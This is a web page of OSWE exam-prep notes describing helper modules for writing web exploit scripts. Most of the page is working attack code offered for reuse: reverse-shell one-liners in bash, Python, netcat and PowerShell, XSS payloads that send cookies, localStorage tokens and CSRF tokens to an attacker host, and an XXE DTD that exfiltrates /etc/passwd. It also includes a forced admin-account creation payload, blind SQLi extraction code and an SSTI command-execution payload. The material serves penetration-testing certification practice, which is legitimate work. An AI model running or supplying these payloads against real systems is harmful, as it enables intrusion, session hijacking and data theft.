OSWE Exploit Helpers

My helper modules for writing OSWE exploit scripts. Feel free pull what you need into your script for each target. The full toolkit lives in my GitHub repo here:

hkm67/OSWE-Notes

Exploit template plus helper modules for blind SQLi, reverse shells, web callbacks, and WebSocket interfaces.

Files

exploit.py – Main skeleton of the exploit script
utils.py – Banner helpers, regex extractor, password/name generators, PS1 encoder, etc.
shell_listener.py – TCP reverse shell listener
web_callback_server.py – Serve payloads + catch callbacks (XSS, XXE, SSRF)
sqli_parallel.py – Parallel blind SQLi extractor
websocket_helper.py – WebSocket response drainer (targets with WS interfaces)

exploit.py is a barebone skeleton: session setup, argument parsing, and an empty exploit chain. Paste in the helpers the target needs from the other files, then fill in the stage functions.

python3 exploit.py -t 10.10.10.10 -l 10.10.14.5 --shell

exploit.py – Flags

Flag	Default	Description
`-t / --target`	required	Target IP or IP:port
`-l / --lhost`	required	Your tun0 IP
`-p / --lport`	4444	Reverse shell port
`-wp / --wport`	80	Web callback server port
`-u / --username`	–	Provide a known username to skip enumeration/registration
`-P / --password`	–	Provide a known password to skip brute-forcing
`-f / --file`	–	File path to read (for targets with LFI or XXE)
`--shell`	off	Trigger reverse shell stage
`--proxy`	off	Route all traffic through Burp (127.0.0.1:8080)

-u and -P exist because some stages are slow. Brute-forcing a token can take a few minutes. Once you have the credentials, pass them directly and skip to the stage you’re actually working on.

Helpers

utils.py

Console output:

print_ok("Registered as ABCDEF")       # [+] success, extracted value
print_info("Waiting for callback...")  # [*] status update
print_err("Login failed")              # [-] something went wrong
print_stage(2, "Exploit SQLi")         # [STAGE 2] ── major step divider
print_banner("MyExploit")             # ══ header at script start

Random generators:

username = generate_random_name()      # e.g. "KXQTMHJZAW"
password = generate_password()         # e.g. "Xk3!mVqZ..." – upper+lower+digit+special
email    = username + "@offsec.exam"

generate_password() always satisfies strict validation policies. It avoids shell-breaking characters (quotes, backslashes) so you can safely embed it in payloads. Regex extraction – pull values out of HTML responses:

# <input type="hidden" name="csrf_token" value="aB3xZ9...">
csrf  = extract_between_markers(r.text, 'name="csrf_token" value="', '"')

# href="/reset?token=XYZ123&expire=..."
token = extract_between_markers(r.text, "token=", "&")

# All values from a table column
users = extract_all_between_markers(r.text, "<td>", "</td>")

Uses re.DOTALL, so it works on values that span multiple lines. PowerShell encoder – avoids quoting issues when injecting PS1 through a webshell:

b64 = encode_ps1("whoami")
cmd = f"powershell.exe -EncodedCommand {b64}"

-EncodedCommand expects UTF-16LE base64. Encoding it in Python ensures the command arrives intact regardless of how it’s passed through the delivery mechanism.

shell_listener.py

Paste start_listener() into your script, run it in a background thread, then trigger the shell:

listener_t = threading.Thread(target=start_listener, args=(lhost, lport), daemon=True)
listener_t.start()
time.sleep(1)

trigger_revshell(...)   # your function that calls back to lhost:lport

listener_t.join()       # blocks until you exit the session

Two threads: one reads from the socket and prints, the other reads your input and sends. This way neither side blocks the other. Uncomment conn.send(b"\n") inside the function for PowerShell. It kicks the PS1 prompt on connect so you see output immediately. Reverse shell payloads:

busybox nc <lhost> <lport> -e /bin/bash

bash -i >& /dev/tcp/<lhost>/<lport> 0>&1

python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('<lhost>',<lport>));[os.dup2(s.fileno(),i) for i in range(3)];subprocess.call(['/bin/sh','-i'])"

$c=New-Object Net.Sockets.TCPClient('<lhost>',<lport>);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=[Text.Encoding]::ASCII.GetBytes($r);$s.Write($rb,0,$rb.Length)}

web_callback_server.py

One server that does two things: serves files to the victim and captures whatever the victim sends back. Hardcode your payloads as constants at the top of the script, using .replace() for LHOST/LPORT (full credits to rizemon/exploit-writing-for-oswe for this neat trick!):

JS_PAYLOAD = """
fetch('http://<lhost>/steal?b64_cookie=' + btoa(document.cookie))
""".replace("<lhost>", LHOST)

DTD_PAYLOAD = """<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://<lhost>/xxe?x=%file;'>">
%eval; %exfil;""".replace("<lhost>", LHOST)

Then register and start:

SERVED_FILES["/payload.js"] = (JS_PAYLOAD, "application/javascript")
SERVED_FILES["/evil.dtd"]   = (DTD_PAYLOAD, "application/xml-dtd")

httpd = start_server(host=lhost, port=wport)

inject_payload(...)         # trigger the victim to fetch your payload

while "/steal" not in EXFIL_DATA:
    time.sleep(0.5)

raw    = EXFIL_DATA["/steal"]["b64_cookie"]
cookie = base64.b64decode(raw).decode()

httpd.shutdown()
httpd.server_close()

GET callbacks store query params in EXFIL_DATA[path]. POST callbacks parse JSON or form-encoded bodies into the same dict. CORS headers are set on every response so fetch() in the victim browser works cross-origin. XSS cookie theft:

// Generic img onerror
<img src=x onerror="fetch('http://<lhost>/steal?b64_cookie='+btoa(document.cookie))">

// svg onload
<svg onload="fetch('http://<lhost>/steal?b64_cookie='+btoa(document.cookie))">

// Image() object – compact, fits a pure-JS sink with no markup
new Image().src='http://<lhost>/steal?b64_cookie='+btoa(document.cookie)

// External script – keep the real payload off the injection point
<script src="http://<lhost>/payload.js"></script>

// Injected into an image src field
data:image/jpeg;base64,<base64_jpeg_header>' onerror=fetch('http://<lhost>/steal?b64_cookie='+btoa(document.cookie))

If the session cookie is HttpOnly, cookie theft won’t work. Go after browser storage, scrape the CSRF token, or force admin actions directly instead. Steal tokens from storage (JWT / SPA sessions):

// Dump everything in localStorage
fetch('http://<lhost>/steal?ls='+btoa(JSON.stringify(localStorage)))

// Grab a specific token
new Image().src='http://<lhost>/steal?jwt='+localStorage.getItem('token')

Scrape a CSRF token from an admin page (then replay it server-side):

fetch('/admin/settings').then(r => r.text()).then(t => {
  const m = t.match(/csrf_token.*?value="(.*?)"/);
  new Image().src = 'http://<lhost>/steal?csrf=' + m[1];
});

Force an admin action with the victim’s session (e.g. create an admin user):

fetch('/admin/users', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ username: 'pwn', password: 'Pwn123!', role: 'admin' })
});

sqli_parallel.py

Paste extract_string_blind() into your script. The only thing you write is one function, is_correct_char(index, char) -> bool, that returns True when char is correct at position index (1-based). Pass it in and the extractor pulls the whole string:

def is_correct_char(index: int, char: str) -> bool:
    # Time-based (PostgreSQL)
    sqli = f"(SELECT CASE WHEN (SUBSTRING((SELECT password FROM users LIMIT 1),{index},1)='{char}') THEN pg_sleep(3) ELSE NULL END)"
    t0 = time.time()
    session.get(TARGET + "/search", params={"q": f"' OR {sqli}--"})
    return time.time() - t0 >= 3

    # Boolean-based (MySQL) – uncomment to use instead
    # sqli = f"' AND (SELECT SUBSTRING(password,{index},1) FROM users LIMIT 1)='{char}'--"
    # r = session.get(TARGET + "/search", params={"q": sqli})
    # return "Welcome" in r.text

result = extract_string_blind(is_correct_char, length=32, label="password hash")

All (position, character) combinations are submitted at once. The thread pool caps concurrency at max_workers=30. For a 32-char string over a 62-char charset, that’s ~2000 tasks, done in roughly the time it takes to test a single character sequentially. Tune max_workers down if you’re hitting rate limits, up if the target handles the load.

websocket_helper.py

For targets that expose a command interface over WebSocket. Paste ws_recv_all() into your script:

import websocket, ssl, json

ws = websocket.create_connection(
    "wss://target/ws_endpoint",
    sslopt={"cert_reqs": ssl.CERT_NONE}
)
ws.settimeout(0.75)     # timeout triggers end-of-response detection

ws.send(json.dumps({"cmd": "whoami"}))
output = ws_recv_all(ws)
print(output)

ws.close()

If the app sends typed frames (e.g. {"type": "response", "payload": "..."}), filter on the type to skip heartbeats:

output = ws_recv_all(ws, payload_key="payload", filter_key="type", filter_val="response")

Increase the timeout if large outputs are being cut off.

requests Cheatsheet

Sending requests:

r = session.get(BASE_URL + "/dashboard")
r = session.get(BASE_URL + "/search", params={"q": "admin"})        # → /search?q=admin

r = session.post(BASE_URL + "/login", data={"user": "a", "pass": "b"})   # form-encoded
r = session.post(BASE_URL + "/api", json={"user": "a"})                  # JSON body
r = session.post(BASE_URL + "/api", data=xml.encode(), headers={"Content-Type": "application/xml"})

r = session.post(BASE_URL + "/upload", files={
    "file": ("shell.jsp", open("shell.jsp", "rb"), "application/octet-stream")
})

Reading responses:

r.status_code           # 200, 302, 403 ...
r.text                  # decoded body – use for regex
r.json()                # parsed JSON dict
r.headers["Location"]   # specific header
r.cookies.get("PHPSESSID")

Persist headers or cookies across all requests:

session.headers.update({"X-CSRF-Token": csrf, "X-Requested-With": "XMLHttpRequest"})
session.cookies.update({"PHPSESSID": sid})

Auth bypass check – inspect the 302 before following it:

r = session.post(BASE_URL + "/login", data=creds, allow_redirects=False)
if r.status_code == 302 and "/dashboard" in r.headers.get("Location", ""):
    print_ok("Auth bypass confirmed")

Scrape a CSRF token and persist it:

r    = session.get(BASE_URL + "/dashboard")
csrf = re.search(r'csrf_token.*?"(.*?)"', r.text).group(1)
session.headers.update({"X-CSRF-Token": csrf})

Sanity-check every critical step:

r = session.post(BASE_URL + "/login", data=creds)
assert "dashboard" in r.text, f"Login failed ({r.status_code})"

Many apps return HTTP 200 even on failure, so check the response body, not just the status code. Print the outgoing request (useful when something isn’t behaving as expected):

r   = session.post(BASE_URL + "/login", data={"user": "admin"})
req = r.request
print(req.method, req.url)
print(req.headers)
print(req.body)

Development Tips

Skip slow stages while iterating – hardcode a known-good cookie and comment out the early steps:

session.cookies.update({"JSESSIONID": "paste_cookie_here"})
# register()
# login()

Route through Burp for a specific request without touching the rest:

r = session.post(url, data=data, proxies={"http": "http://127.0.0.1:8080"})

Or set it globally for the session via --proxy, or as an env var:

HTTP_PROXY=http://127.0.0.1:8080 python3 exploit.py -t ... -l ...

Common Patterns

Avoid f-string hell with payloads that contain lots of {} (SSTI):

payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}" \
    .replace("<LHOST>", lhost) \
    .replace("<LPORT>", str(lport))

b64-encode a shell command to avoid quoting issues:

cmd    = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
b64cmd = base64.b64encode(cmd.encode()).decode()
payload = f"echo {b64cmd} | base64 -d | bash"

Wait for an async callback (XSS, SSRF, XXE):

while "/callback_path" not in EXFIL_DATA:
    time.sleep(0.5)
data = EXFIL_DATA["/callback_path"]

Decompilation

Language	Tool	Notes
Java	JD-GUI	Open `.jar` → File → Save All Sources → unzip
.NET / C#	dnSpy	Open `.dll` → File → Export to Project

After exporting, open the folder as a workspace in VS Code or Notepad++ for multi-file search.

Database Debugging

PostgreSQL – log all queries in real time: Enable in postgresql.conf:

log_statement = 'all'

Reload without restart:

psql -U postgres -c "SELECT pg_reload_conf();"

Tail the log and filter for SQLi signatures:

Get-Content "C:\path\to\pgsql\data\pgsql_log\postgresql.log" -Tail 0 -Wait | Select-String -Pattern "ERROR:", "pg_sleep"

Useful when developing a blind SQLi payload. It confirms whether your syntax is actually reaching the database or getting rejected earlier in the stack.

Introduction

Methodology

Helpers

hkm67/OSWE-Notes

Files

exploit.py – Flags

Helpers

utils.py

shell_listener.py

web_callback_server.py

sqli_parallel.py

websocket_helper.py

requests Cheatsheet

Development Tips

Common Patterns

Decompilation

Database Debugging

hkm67/OSWE-Notes

​Files

​exploit.py – Flags

​Helpers

​utils.py

​shell_listener.py

​web_callback_server.py

​sqli_parallel.py

​websocket_helper.py

​requests Cheatsheet

​Development Tips

​Common Patterns

​Decompilation

​Database Debugging

Files

exploit.py – Flags

Helpers

utils.py

shell_listener.py

web_callback_server.py

sqli_parallel.py

websocket_helper.py

requests Cheatsheet

Development Tips

Common Patterns

Decompilation

Database Debugging